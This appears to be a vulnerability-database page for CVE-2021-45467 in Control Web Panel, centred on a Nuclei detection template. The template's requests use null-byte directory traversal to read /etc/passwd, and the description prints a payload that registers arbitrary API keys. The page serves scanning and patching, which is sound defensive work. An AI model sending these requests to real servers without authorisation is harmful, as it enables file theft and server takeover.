| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| The vulnerability of the server management application CentOS Web Panel lies in improper code generation, allowing attackers to execute arbitrary code. | 25 Jul 202200:00 | – | bdu_fstec | |
| CVE-2021-45467 | 23 Jan 202205:52 | – | circl | |
| CWP Panel 代码注入漏洞 | 14 Mar 202200:00 | – | cnnvd | |
| CWP Panel Remote Code Execution (CVE-2021-45467; CVE-2021-45466) | 27 Feb 202200:00 | – | checkpoint_advisories | |
| CVE-2021-45466 | 26 Dec 202200:00 | – | cve | |
| CVE-2021-45467 | 26 Dec 202200:00 | – | cve | |
| CVE-2021-45466 | 26 Dec 202200:00 | – | cvelist | |
| CVE-2021-45467 | 26 Dec 202200:00 | – | cvelist | |
| CVE-2021-45467 | 26 Dec 202205:15 | – | nvd | |
| CVE-2021-45466 | 26 Dec 202205:15 | – | osv |
id: CVE-2021-45467
info:
name: Control Web Panel (CWP) - File Inclusion
author: ritikchaddha
severity: critical
description: |
In CWP (Control Web Panel, previously CentOS Web Panel) before version 0.9.8.1107, an unauthenticated attacker can abuse null byte (%00) injection with the "scripts" parameter in the /user/loader.php or /user/login.php endpoints to register arbitrary API keys or access sensitive files. This can be exploited by using multiple %00 sequences to traverse directories via crafted requests such as /user/loader.php?api=1&scripts=.%00./.%00./api/account_new_create&acc=guadaapi, or similar payloads with more %00 instances (e.g., .%00%00%00./.%00%00%00./api/account_new_create). Attackers may use this flaw for arbitrary file access, privilege escalation, or remote code execution.
impact: |
A remote, unauthenticated attacker can leverage this vulnerability to register arbitrary API keys, access sensitive files (such as /etc/passwd), and potentially achieve remote code execution. Successful exploitation results in full compromise of the web panel and host system, allowing for exposure of confidential data, server takeover, and further attacks on internal infrastructure.
remediation: |
Update to version 0.9.8.1107 or later to fix input validation issues.
reference:
- https://octagon.net/blog/2022/01/22/cve-2021-45467-cwp-centos-web-panel-preauth-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2021-45467
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-45467
epss-score: 0.70947
epss-percentile: 0.99323
cwe-id: CWE-862
cpe: cpe:2.3:a:control-webpanel:webpanel:*:*:*:*:*:*:*:*
metadata:
verified: false
max-request: 5
vendor: control_webpanel
product: webpanel
fofa-query: icon_hash="-356182173"
tags: cve,cve2021,cwp,rce,lfi,centos,webpanel,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/login/cwp_theme/original/img/ico/favicon.ico"
- "{{BaseURL}}/login/design/img/ico/favicon.ico"
- "{{BaseURL}}"
redirects: true
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "status_code==200 && ('-356182173' == mmh3(base64_py(body)))"
- "status_code==200 && contains_any(tolower(body), 'control webpanel', 'cwp | user')"
condition: or
internal: true
- method: GET
path:
- "{{BaseURL}}/user/index.php?api=1&scripts=.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./etc/passwd"
- "{{BaseURL}}/user/login.php?api=1&scripts=.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./.%00%00%00./etc/passwd"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100845a00b1a4ba002935d64d31396c6711630828f04f0b5fee05a084a481afad6d02205c0b43d2bf8165f080919637522dc2b21c749eb45bed50d5af69a311d6f69867:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation